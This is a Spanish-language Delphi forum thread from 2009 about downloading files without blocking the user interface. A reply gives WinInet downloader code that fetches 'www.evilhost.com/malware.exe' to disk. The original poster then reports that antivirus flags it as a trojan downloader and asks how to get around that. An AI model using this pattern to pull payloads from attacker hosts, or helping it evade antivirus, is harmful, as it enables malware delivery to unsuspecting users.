Jump to content


Photo

Descargar Archivo de internet


  • Please log in to reply
3 replies to this topic

#1 BrainDeath

BrainDeath

    Member

  • Miembros
  • PipPip
  • 28 posts

Posted 27 October 2009 - 10:38 PM

Hola..

Mi problema es este,he estado buscando como descargar archivos de internet encontre el metodo de usar el componente idHTTP pero al descargar el form deja de responder unos segundo..y lo que quiero es que el form aun cuando este descargando el form se pueda usar.

Alguien sabe alguna otra manera de descargar un archivo con codigo y sin componente para que el form se pueda usar aunque este descargando?

Espero su ayuda,Saludos..  :wink:

Saludos
  • 0

#2 escafandra

escafandra

    Advanced Member

  • Administrador
  • 4111 posts
  • LocationMadrid - España

Posted 28 October 2009 - 01:24 AM

...mm pues usando la búsqueda te encontraras con este hilo donde encontraras dos formas distintas de hacerlo y si quieres leer de una página este otro

Por otro lado, siempre puedes trasladar tu código, sea el que sea, a un thread con lo que evitarás los cortes en la aplicación.

Saludos.
  • 0

#3 c0lo

c0lo

    Advanced Member

  • Miembro Platino
  • PipPipPip
  • 241 posts
  • LocationLima-Peru

Posted 28 October 2009 - 05:35 PM

autor: ajpdsoft



delphi
  1. program Download;
  2.  
  3. uses Windows, WinInet;
  4.  
  5. function ExtractFileName(FileName: string): string;
  6. begin
  7.   while Pos(&#39;\&#39;, FileName) <> 0 do Delete(FileName, 1, Pos(&#39;\&#39;, FileName));
  8.   while Pos(&#39;/&#39;, FileName) <> 0 do Delete(FileName, 1, Pos(&#39;/&#39;, FileName));
  9.   Result := FileName;
  10. end;
  11.  
  12.  
  13. function DescargarFichero(const fileURL, FileName: String): boolean;
  14. const BufferSize = 1024;
  15. var
  16.   hSession, hURL: HInternet;
  17.   Buffer: array[1..BufferSize] of Byte;
  18.   BufferLen: DWORD;
  19.   f: File;
  20.   sAppName: string;
  21. begin
  22.   Result:=False;
  23.   sAppName := ExtractFileName(paramstr(0));
  24.   hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  25.   try
  26.     hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0);
  27.     try
  28.       AssignFile(f, FileName);
  29.       Rewrite(f,1);
  30.       repeat
  31.         InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
  32.         BlockWrite(f, Buffer, BufferLen);
  33.       until BufferLen = 0;
  34.       CloseFile(f);
  35.       Result:=True;
  36.     finally
  37.       InternetCloseHandle(hURL);
  38.     end;
  39.   finally
  40.     InternetCloseHandle(hSession);
  41.   end;
  42. end;
  43.  
  44. begin
  45. DescargarFichero(&#39;[url=http://www.evilhost.com/malware.exe]www.evilhost.com/malware.exe[/url]&#39;, &#39;malware.exe&#39;);
  46. end.


  • 0

#4 BrainDeath

BrainDeath

    Member

  • Miembros
  • PipPip
  • 28 posts

Posted 28 October 2009 - 06:39 PM

autor: ajpdsoft



delphi
  1. program Download;
  2.  
  3. uses Windows, WinInet;
  4.  
  5. function ExtractFileName(FileName: string): string;
  6. begin
  7.   while Pos(&#39;\&#39;, FileName) <> 0 do Delete(FileName, 1, Pos(&#39;\&#39;, FileName));
  8.   while Pos(&#39;/&#39;, FileName) <> 0 do Delete(FileName, 1, Pos(&#39;/&#39;, FileName));
  9.   Result := FileName;
  10. end;
  11.  
  12.  
  13. function DescargarFichero(const fileURL, FileName: String): boolean;
  14. const BufferSize = 1024;
  15. var
  16.   hSession, hURL: HInternet;
  17.   Buffer: array[1..BufferSize] of Byte;
  18.   BufferLen: DWORD;
  19.   f: File;
  20.   sAppName: string;
  21. begin
  22.   Result:=False;
  23.   sAppName := ExtractFileName(paramstr(0));
  24.   hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
  25.   try
  26.     hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0);
  27.     try
  28.       AssignFile(f, FileName);
  29.       Rewrite(f,1);
  30.       repeat
  31.         InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
  32.         BlockWrite(f, Buffer, BufferLen);
  33.       until BufferLen = 0;
  34.       CloseFile(f);
  35.       Result:=True;
  36.     finally
  37.       InternetCloseHandle(hURL);
  38.     end;
  39.   finally
  40.     InternetCloseHandle(hSession);
  41.   end;
  42. end;
  43.  
  44. begin
  45. DescargarFichero(&#39;[url=http://www.evilhost.com/malware.exe]www.evilhost.com/malware.exe[/url]&#39;, &#39;malware.exe&#39;);
  46. end.



Se ve bueno este codigo, pero al  probar el codigo el antivirus me lo detecta como trojandownloader :s alguna solucion a esto?

Saludos...
  • 0




IP.Board spam blocked by CleanTalk.